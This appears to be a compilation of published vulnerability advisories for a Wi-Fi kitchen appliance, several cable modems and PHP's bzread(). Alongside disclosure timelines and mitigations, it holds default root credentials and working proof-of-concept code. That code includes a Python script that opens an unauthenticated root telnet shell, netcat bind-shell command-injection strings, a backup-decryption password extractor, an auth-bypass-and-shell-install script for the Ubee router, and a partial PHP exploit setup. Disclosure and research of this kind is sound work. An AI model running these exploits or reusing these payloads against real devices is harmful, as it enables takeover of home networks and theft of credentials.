Bellini/Supercook Wi-Fi Yumi SC200 - Confirmed affected: Vuln1, Vuln2, Vuln3.
Bellini/Supercook Wi-Fi Yumi SC250 - Likely affected, Vuln1, Vuln2, Vuln3, as
same firmware is used.

As the Wi-fi Yumi firmware appears to be based on a stock firmware image
used on a number of other commodity 'IoT' devices, the vulnerabilities
described here are very likely to affect other devices with similar or
the same firmware.

--

Vuln1 Details:
==================================
Weak Username/Password for Root-level account.
Username: super
Password: super

These credentials provide access to the built in FTP server and web
administration interface. We did not attempt any more than a cursory
connection to the FTP server with these details.

According to the details disclosed in Vuln2, an additional account is present
on the device with the following credentials:
Username: admin
Password: AlpheusDigital1010

With the exception of a cursory check of the built in FTP service (which
failed for these credentials), we did not attempt to access the device with
these credentials.

Vuln1 Notes:
==================================
We did not attempt to change or ascertain if it was possible to change these
access credentials; as Vuln2 completely negates any change made.

Vuln1 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network.
Revert to the non-wifi Yumi controller.

--

Vuln2 Details:
==================================
Information disclosure, unauthenticated.

Device URL: http://10.10.1.1/Setting.chipsipcmd

The device offers, via its built in webserver, a full list of all configuration
parameters available. This list includes the above mentioned root account
username and password, and the password to the parent connected wifi network.
All details are in plain text, and transmitted in the format of a key-value
pair making retrieval, recovery and use of all configuration
information trivial.

This interface is also available from the parent wi-fi network via DHCP assigned
IPv4 address.

Vuln2 Notes:
==================================
Example data returned:
DEF_IP_ADDR=10.10.1.1
DEF_SUBNET_MASK=255.255.255.0
...
DEF_SUPER_NAME="super"
DEF_SUPER_PASSWORD="super"
DEF_USER_NAME="admin"
DEF_USER_PASSWORD="AlpheusDigital1010"
...

Vuln2 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network, only using
the mobile application to upload recipes, then disconnect from the device and
connect your mobile device to a trusted network once again to access the
internet once again.

Revert to the non-wifi Yumi controller.

The vendor should establish a method of authentication to the device from the
various mobile applications available, and transport any configuration in an
encrypted format using keys which are not generally available or easily
discoverable.

--

Vuln3 Details:
==================================
Remote arbitrary code execution.

Device URL: http://10.10.1.1/syscmd.asp

The device offers a built-in web-shell which, once authenticated using the
details discovered in Vuln2, allows the execution of any command the device
can execute - as the built in webserver runs as the root user.

It is possible to execute a command using this interface that would create
any file in any location. This would allow an attacker to establish persistence.

Additionally, the built in busybox binary includes the option
'telnetd', meaning it is
possible to execute the relevant command to start a telnet daemon remotely.
The running daemon then requires no authentication to connect, and runs as
the root account.

Vuln3 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network.

Revert to the non-wifi Yumi controller.

Remove or prevent access to /syscmd.asp and /goform/formSysCmd scripts (Please
mind your warranty if you modify the files on the device).

The vendor should disable any and all commands on the device and scripts in
the web interface which are not specifically required for the normal
functionality of the device or its communication with control apps.

In this instance, the vendor should REMOVE the page '/syscmd.asp' and also
/goform/formSysCmd which processes commands submitted via syscmd.asp to prevent
arbitrary commands from being executed.

Additionally, busybox should be recompiled such that the 'telnetd' option is
no longer available to be executed.

--

Vuln1/Vuln2/Vuln3 Risks:
==================================
Weak and easily discoverable root credentials combined with easily accessed
remote shell functionality is a dangerous combination. These vulnerabilities
could allow any sufficiently advanced malware to become persistent in a LAN
and re-infect hosts at will (advanced crypto-locker style malware comes to
mind), capture and exfiltrate data on either Wireless network the device is
connected to, MITM any traffic routed through the device, or other as yet
unknown attack vectors.

Additionally, as full root access is easily obtainable, it may be possible
for an attacker to cause the cooking functionality to behave erratically or
possibly even dangerously due to the built in spinning blades and heating
elements. While we ultimately did not attempt to control these aspects of the
device due to the fact that it makes our dinner most nights, these risks are
worth raising.

This vulnerability assessment should not be considered an exhaustive list
of all vunlnerabilities the device may have. Due to time constraints we were
unable to invest the required time to discover and document all issues. Due to
the nature of the firmware on the device, most of these have likely been
discovered in other products at various times, this item may even duplicate
another from a similar device.

Notes:
==================================
No security assessment of code used for control of cooker functionality was
undertaken; as this does not, in my opinion, rate as seriously as the other
vulnerabilities discovered and disclosed here. However, it should be noted,
that with the root access that is VERY easily obtained, it may be possible for
an attacker to cause the cooking functionality of the machine to behave
erratically or even dangerously due to the built in spinning blades and heating
elements. Further to this, a malicious partner or offspring may intentionally
sabotage dinner, if he/she would prefer to eat takeout.

No attempt was made to connect to or manipulate files on the built in Samba
shares, however given the weak credentials sufficiently advanced malware may be
able to use these shares to establish persistence.

The 'Bellini' name may be regional, our device was procured in Australia and
as such may or may not have a different name in other countries.

A full, detailed, rundown and commentary is available at
https://www.vortex.id.au/2016/07/bellini-supercook-yumi-wi-fi-the-insecurity-perspective/

Vuln3 Proof of Concept:
==================================
'''

#!/usr/bin/env python

import urllib
import urllib2
from subprocess import call

# Connect to the device's wifi network, then run.
# Root access will be provided.

url = 'http://10.10.1.1/goform/formSysCmd'
cmd = 'busybox telnetd -l /bin/sh'
username = 'super'
password = 'super'

# setup the password handler
basicauth = urllib2.HTTPPasswordMgrWithDefaultRealm()
basicauth.add_password(None, url, username, password)

authhandler = urllib2.HTTPBasicAuthHandler(basicauth)
opener = urllib2.build_opener(authhandler)

urllib2.install_opener(opener)

# Connect to the device, send the data
values = {
    'sysCmd': cmd,
    'apply': 'Apply',
    'submit-url': '/syscmd.asp'
}
data = urllib.urlencode(values)
pagehandle = urllib2.urlopen(url, data)

# Connect to Telnet.
call(["telnet","10.10.1.1"])

# Pwnd.

# End of document.
            
Compal CH7465LG-LC modem/router multiple vulnerabilities
--------------------------------------------------------

The following vulnerabilities are the result of a quick check (~3 hours)
of the Mercury modem. We performed a systematic and deeper evaluation of
this device also, which result will be described in a separate report [2] and advisory.

Platforms / Firmware confirmed affected:
- Compal CH7465LG-LC, CH7465LG-NCIP-4.50.18.13-NOSH

Vulnerabilities
---------------
Insecure session management

The web interface uses cookies, but is not verified. Thus, if admin
login is successful, the IP address and the browser type of the admin
user are stored and everybody can access the management interface with
the same IP and the same user-agent.

Information leakage

Some information requests can be performed without authentication. For
example an attacker can obtain the following information pieces:
-    Global settings (SW version, vendor name, etc.)
-    CSRF token
-    Event log
-    LAN user table
-    Ping response

Unauthenticated deny of service attack

Factory reset can be initiated without authentication with a simple POST
request to the getter.xml.

Unauthenticated configuration changes
Some settings modification can be performed without authentication, for
example the first install flag and the ping command.

Unauthenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device:

“token=<csrf_token>&fun=126&Type=0&Target_IP=127.0.0.1&Ping_Size=64;nc
-l -p 1337 -e /bin/sh;&Num_Ping=3&Ping_Interval=1”

Timeline
--------
- 2015.10.21: SEARCH-LAB received two sample boxes from the Compal Mercury devices from UPC Magyarorszag
- 2015.10.21: Within three hours we reported a remotely exploitable vulnerability on the device
- 2015.10.21: Liberty Global asked for a commercial proposal on executing an overall security evaluation of the Compal device.
- 2015.10.24: A proposal was sent to Liberty Global.
- 2015.11.09: Liberty Global asked to execute the evaluation as a pilot project without financial compensation.
- 2015.12.07: End Use Certificate for Dual-Use Items was asked from Liberty Global as the developer of the device is located in China.
- 2016.01.07: The 99-page-long Evaluation Report on Compal Mercury modem was sent to Liberty Global with the restriction that they are not allowed to forward it outside of the European Union until a signed End Use Certificate is received.
- 2016.01.07: First reaction to the report said: “Bloody hell, that is not a small document ;)”
- 2016.01.11: Liberty Global sent the signed End Use Certificate for Dual-Use Items to SEARCH-LAB
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] http://www.search-lab.hu/media/Compal_CH7465LG_Evaluation_Report_1.1.pdf
            
Hitron CGNV4 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Hitron CGNV4, 4.3.9.9-SIP-UPC
- Product page: http://www.hitrontech.com/en/cable_detail.php?id=62

Vulnerabilities
---------------
Insecure session management

The web interface uses insecure cookies, which can be brute-forced
easily (e.g cookie: userid=0). If admin login is successful, the IP
address of the admin user is stored and everybody can access the
management interface with the same IP.

Missing CSRF protection

The web interface is not used any CSRF protection. In case of a valid
session exists, the attacker can modify any settings of the router. If
the default admin password was not changed, the attacker can perform a
login also and modify any settings after it.

Authenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because the parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device: 

“google.com;nc -l -p 1337 -e /bin/sh;echo”.

Disclaimer
----------
We found these vulnerabilities within a very short time range (3 hours),
and we did not check a lot of areas such as:
- Command injections in other modules
- Buffer overflows
- User authentication
- Default SSID and passphrase
- Analysis of the backup file
- Device configuration (such as SNMP)

Timeline
--------
- 2015.10.16: Vulnerabilities found in the Hitron CGNV4 were reported to UPC Magyarorszag and Liberty Global
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should
install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
            
'''
Technicolor TC7200 modem/router multiple vulnerabilities
--------------------------------------------------------

Platforms / Firmware confirmed affected:
- Technicolor TC7200, STD6.02.11
- Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300

Vulnerabilities
---------------
Insecure session management

The web interface does not use cookies at all and does not check the IP
address of the client. If admin login is successful, every user from the
LAN can access the management interface.

Backup file encryption uses fix password

Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
AES. However, the encrypted backup file remains accessible without
authentication and if the password is not set in the web interface a
default password is used. So, if an attacker accesses the backup file
without authentication, the password cannot be set, and the backup file
can be decrypted.

Timeline
--------

- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [2]:
- Unauthenticated backup file access
- Backup file decryption

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor
'''
#
# POC code for Technicolor TC7200
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated backup file access
#  - Backup file decryption
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import struct
import binascii
from Crypto.Cipher import AES

class technicolor:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def downloadBackupFile(self):
        r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
        resp = ''
        for chunk in r:
            resp += chunk
        return resp

    def parseBackup(self, backup):
        p = backup.find('MLog')
        if (p > 0):
            p += 6
            nh = struct.unpack('!H',backup[p:p+2])[0]
            name = backup[p+2:p+2+nh]
            p += 2+nh
            ph = struct.unpack('!H',backup[p:p+2])[0]
            pwd = backup[p+2:p+2+nh]
            return (name,pwd)
        return ('','')

    def decryptBackup(self, backup):
        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
        l = (len(backup)/16)*16
        cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
        plain = cipher.decrypt(backup[0:l])
        return plain


#------------------------------------

if (len(sys.argv) < 2):
    print 'technicolor_tc7200_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create technicolor object
t = technicolor(addr, port)

backup = t.downloadBackupFile()
if (len(backup) > 0):
    open('test.enc', 'wb').write(backup)
    plain = t.decryptBackup(backup)
    open('test.dec', 'wb').write(plain)

    (name, pwd) = t.parseBackup(plain)
    if (name != ''):
        print 'admin name: %s, pwd: %s'%(name,pwd)
            
'''
Ubee EVW3226 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Ubee EVW3226, 1.0.20
- Product page: http://www.ubeeinteractive.com/products/cable/evw3226

Vulnerabilities
---------------
Insecure session management

The web interface does not use cookies at all. If admin login is
successful, the IP address of the admin user is stored and everybody can
access the management interface with the same IP.

Local file inclusion

Setup.cgi can read any file with .htm extension using directory
traversal in the gonext parameter. Although the file must have htm
extension, the local file inclusion can be used to map directories,
because the response is different depending on whether directory exists
or not.

POC:

http://<device_ip>/cgi-bin/setup.cgi?gonext=../www/main2

Backup file is not encrypted

Although the web interface requires a password for encrypting the backup
file, the encryption is not performed. In order to backup file password,
the plain password is stored in the backup file, which is a standard tgz
(gzipped tar) file with a simple header.

Backup file disclosure

When a user requests a backup file, the file is copied into www root in
order to make download possible. However, the backup file is not removed
from the www root after download. Since there is not any session check
required to download the backup file, an attacker is able to download it
without authentication from LAN until the next reboot.
Since the backup file is not encrypted and contains the plain admin
password, the router can be compromised from LAN.

POC:

http://<device_ip>/Configuration_file.cfg

Authentication bypass (backdoor)

The web interface bypasses authentication if the HTML request contains
the factoryBypass parameter. In this case a valid session is created and
the attacker can gain full control over the device.

POC:

http://<device_ip>/cgi-bin/setup.cgi?factoryBypass=1

Arbitrary code execution

The configuration file restore function receives a compressed tar file,
which is extracted to the /tmp folder. Tar files may contain symbolic
links, which can link out from the extraction folder. By creating a
configuration file with a symbolic link and a folder which uses this
link, the attacker can write out from the backup folder and can
overwrite any file in the writable file-system.
Since www is copied to the writable file system at boot time (under
/tmp), the attacker can insert a new cgi script that executes arbitrary
code with root privileges.

Default SSID and passphrase can be calculated

The default SSID and passphrase are derived only from the MAC address.
Since the MAC address of the device is broadcasted via WiFi, the default
password can be calculated easily.
Combined with code execution and factory bypass, even a botnet of Ubee
routers can be deployed easily.

Buffer overflow in configuration restore

During the configuration restore process, the backup file password is
read from the pass.txt file. If the password is large enough (larger
than 65536), a stack based buffer overflow is caused, because the file
content is loaded with fscanf(“%s”) to a stack based local variable. The
stack based buffer overflow can be used to execute arbitrary code with
root privileges.

Buffer overflow in configuration file request

The web interface identifies the configuration file download request by
checking that the URL contains the Configuration_file.cfg string. If
this string is found, the whole URL is copied into a stack based buffer,
which can cause a buffer overflow. This stack based buffer overflow can
be used to execute arbitrary code with root privileges without
authentication.

POC:

http://192.168.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaConfiguration_file.cfg

Buffer overflow in next file name

The gonext variable in the POST requests specifies the HTML file, which
the cgi script should be loaded. If the gonext variable is large enough
(larger than 6512 bytes), a stack based buffer overflow is caused, which
can be used to execute arbitrary code with root privileges without
authentication.

Communication on the UPC Wi-Free can be sniffed within the device

The UPC Wi-Free communication is not separated correctly inside the
device, because the whole communication can be sniffed after gaining
root access to the device.

Timeline
--------
- 2015.06.24: Presenting the Ubee router problems to the CTO of UPC Magyarorszag
- 2015.07.16: UPC contacted Ubee and required some more proof about some specific problems
- 2015.07.16: Proofs, that the default passphrase calculation of the Ubee router was broken, were sent to UPC
- 2015.07.20: UPC requested the POC code
- 2015.07.21: POC code was sent to UPC
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2015.09.16: Ubee Interactive also asked some questions about the vulnerabilities
- 2015.09.24: We sent detailed answers to Ubee Interactive
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [3]:

- Authentication bypass
- Unauthenticated backup file access
- Backup file password disclosure
- Code execution

Video demonstration is also available [1], which presents the above problems and how these can be combined to obtain full access to the modem.

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://youtu.be/cBclw7uUuO4
[3] https://github.com/ebux/Cable-modems/tree/master/Ubee
'''
#
# POC code for Ubee EVW3226
#
# Demonstrates the following vulnerabilities
#  - Authentication bypass
#  - Unauthenticated backup file access
#  - Backup file password disclosure
#  - Code execution
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import tarfile
import struct
import binascii
import re
import shutil

config_data = binascii.unhexlify('00003226FFA486BE000001151F8B0808EB7D4D570400706F635F636F6E666967'
                                 '2E74617200EDD53D4FC3301006E09BF32BDC30A78E9D3816AC8811898185D104'
                                 '8B4404C7CA1DA4FC7B121A900A0296A66A153FCBF96BB15F9D8C0DCC2E1D68AD'
                                 '87FA61A7EE8E65AEB48254C86C38CE247F351DA767CFFBBEE7308F1724D33106'
                                 '5DDBD21FC7FEDD3F51DE20AE6933EBD5C6648B3CFF3D7F21BEE52F649E014BE1'
                                 '00169EFFD5F5CDED9DC88A730896081B5E3ED6C97DED3859A43556B077DBF667'
                                 '3FD6BFDA5F291052CB4CEA421502C6DF221707EEFF853A5BF1317BAC225B562D'
                                 'BB6C1D594709BD797BC1C86E88FBC6D46EBB1BC753AD4CF9641F1836AB389A96'
                                 '3C8A38F2F83975968687A5389A062C712682200882E058BC0383AF448C000E0000')

class ubee:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def authenticationBypass(self):
        self.s.get(self.getUri('cgi-bin/setup.cgi?factoryBypass=1'))
        self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=main2'))

    def parseNVRam(self, nv):
        o = 0x1c
        pos = 2
        nvdata = {}
        while(True):
            stype = struct.unpack('!H', nv[o:o+2])[0]
            slen = struct.unpack('!H', nv[o+2:o+4])[0]
            sval = nv[o+4:o+4+slen]
            nvdata[stype] = sval
            pos += slen
            o = o+slen+4
            if (o >= len(nv) ):
                break
        return nvdata

    def parseBackupFile(self, fname):
        tar = tarfile.open("Configuration_file.cfg", "r:gz")
        for tarinfo in tar:
            if tarinfo.isreg():
                if (tarinfo.name == 'pass.txt'):
                    print 'config file password: %s'%(tar.extractfile(tarinfo).read())
                elif (tarinfo.name == '1'):
                    nvdata = self.parseNVRam(tar.extractfile(tarinfo).read())
                    print 'admin password: %s'%(nvdata[3])
        tar.close()

    def saveBackup(self, r, fname):
        if r.status_code == 200:
            resp = ''
            for chunk in r:
                resp += chunk
            open(fname, 'wb').write(resp[0xc:])

    def createBackupFile(self, fname):
        # get validcode (CSRF token)
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryBackup'))
        m = re.search('ValidCode = "([^"]+)"', r.text)
        if (m == None):
            print 'ValidCode is not found'
            return
        validCode = m.group(1)

        # create backup file
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=secretpass&ValidCode=%s')%(validCode))
        if (len(r.text) > 0):
            self.saveBackup(r, fname)

    def downloadBackupFile(self, fname):
        r = self.s.get(self.getUri('Configuration_file.cfg'))
        if (len(r.text) > 0):
            print len(r.text)
            self.saveBackup(r, fname)
            return True
        return False

    def restoreConfigFile(self, fname = '', passwd = 'badpasswd'):
        # get validcode (CSRF token)
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryRestore'))
        m = re.search('name="ValidCode" value="([^"]+)"', r.text)
        if (m == None):
            print 'ValidCode is not found'
            return
        validCode = m.group(1)

        # restore config file
        if (fname == ''):
            cfg_data = config_data
        else:
            cfg_data = open(fname, 'rb').read()
        r = self.s.post(self.getUri('cgi-bin/restore.cgi'), files=(('ValidCode', (None, validCode)), ('PasswordStr', (None, passwd)), ('browse', cfg_data), ('file_name', (None, 'Configuration_file.cfg'))))
        if (r.text.find('alert("Password Failure!")') > 0):
            return True
        else:
            return False

    def getShellResponse(self):
        r = self.s.get(self.getUri('cgi-bin/test.sh'))
        print r.text

#------------------------------------

if (len(sys.argv) < 2):
    print 'ubee_evw3226_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create ubee object
u = ubee(addr, port)

# perform authentication bypass
u.authenticationBypass()
# download backup file if it is exists (auth is not required)
if (not u.downloadBackupFile('Configuration_file.cfg')):
    # create and download backup file (auth required)
    u.createBackupFile('Configuration_file.cfg')
# parse downloaded file and get admin and backup file password
u.parseBackupFile('Configuration_file.cfg')
# execute shell command in the router
if (u.restoreConfigFile()):
    print 'Shell installed'
    u.getShellResponse()
else:
    print 'Shell install failed'
            
'''
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:

php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382     ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383     ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385     RETURN_NEW_STR(data);
| 386 }
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211     php_bz2iop_write, php_bz2iop_read,
| 212     php_bz2iop_close, php_bz2iop_flush,
| 213     "BZip2",
| 214     NULL, /* seek */
| 215     NULL, /* cast */
| 216     NULL, /* stat */
| 217     NULL  /* set_option */
| 218 };
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140     struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141     size_t ret = 0;
| 142
| 143     do {
| 144         int just_read;
| ...
| 148         just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150         if (just_read < 1) {
| 151             stream->eof = 0 == just_read;
| 152             break;
| 153         }
| 154
| 155         ret += just_read;
| 156     } while (ret < count);
| 157
| 158     return ret;
| 159 }
`----

The erroneous return values for Bzip2 are as follows:

bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR    (-1)
| 039 #define BZ_PARAM_ERROR       (-2)
| 040 #define BZ_MEM_ERROR         (-3)
| 041 #define BZ_DATA_ERROR        (-4)
| 042 #define BZ_DATA_ERROR_MAGIC  (-5)
| 043 #define BZ_IO_ERROR          (-6)
| 044 #define BZ_UNEXPECTED_EOF    (-7)
| 045 #define BZ_OUTBUFF_FULL      (-8)
| 046 #define BZ_CONFIG_ERROR      (-9)
`----

Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).

According to the manual [1], bzread() returns FALSE on error; however
that does not seem to ever happen.

Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:

,----
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
`----


Exploitation
============

One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:

bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108    UChar      uc;
| 109    Int32      retVal;
| ...
| 113    /* stuff that needs to be saved/restored */
| 114    Int32  i;
| 115    Int32  j;
| ...
| 118    Int32  nGroups;
| 119    Int32  nSelectors;
| ...
| 167    /*restore from the save area*/
| 168    i           = s->save_i;
| 169    j           = s->save_j;
| ...
| 172    nGroups     = s->save_nGroups;
| 173    nSelectors  = s->save_nSelectors;
| ...
| 195    switch (s->state) {
| ...
| 286       /*--- Now the selectors ---*/
| 287       GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288       if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289       GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290       if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291       for (i = 0; i < nSelectors; i++) {
| 292          j = 0;
| 293          while (True) {
| 294             GET_BIT(BZ_X_SELECTOR_3, uc);
| 295             if (uc == 0) break;
| 296             j++;
| 297             if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298          }
| 299          s->selectorMtf[i] = j;
| 300       }
| 301
| 302       /*--- Undo the MTF values for the selectors. ---*/
| 303       {
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
| 314       }
| 315
| ...
| 613    save_state_and_return:
| 614
| 615    s->save_i           = i;
| 616    s->save_j           = j;
| ...
| 619    s->save_nGroups     = nGroups;
| 620    s->save_nSelectors  = nSelectors;
| ...
| 640    return retVal;
| 641 }
`----

bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu)                          \
| 071    GET_BITS(lll,uuu,1)
`----

bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn)                     \
| 044    case lll: s->state = lll;                      \
| 045    while (True) {                                 \
| ...
| 065    }
`----

If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR.  If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.

In pseudocode it could be read as something like:

,----
| i = s->save_i;
| j = s->save_j;
| 
| switch (s->state) {
| case BZ_X_SELECTOR_2:
|     s->state = BZ_X_SELECTOR_2;
| 
|     nSelectors = get_15_bits...
| 
|     for (i = 0; i < nSelectors; i++) {
|         j = 0;
|         while (True) {
|             goto iter;
| case BZ_X_SELECTOR_3:
| iter:
|     s->state = BZ_X_SELECTOR_3;
| 
|     uc = get_1_bit...
| 
|     if (uc == 0) goto done;
|     j++;
|     if (j >= nGroups) {
|         retVal = BZ_DATA_ERROR;
|         goto save_state_and_return;
|     }
|     goto iter;
| done:
|     s->selectorMtf[i] = j;
`----

An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
|  `´     j++;
| j++;    goto save_state_and_return;
| goto iter;
`----

Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
could occur if BZ2_decompress() is invoked in spite of a previous error.

bzip2-1.0.6/decompress.c
,----
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
`----

bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----


PoC
===

Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo [2]:

,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
| 
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
| 
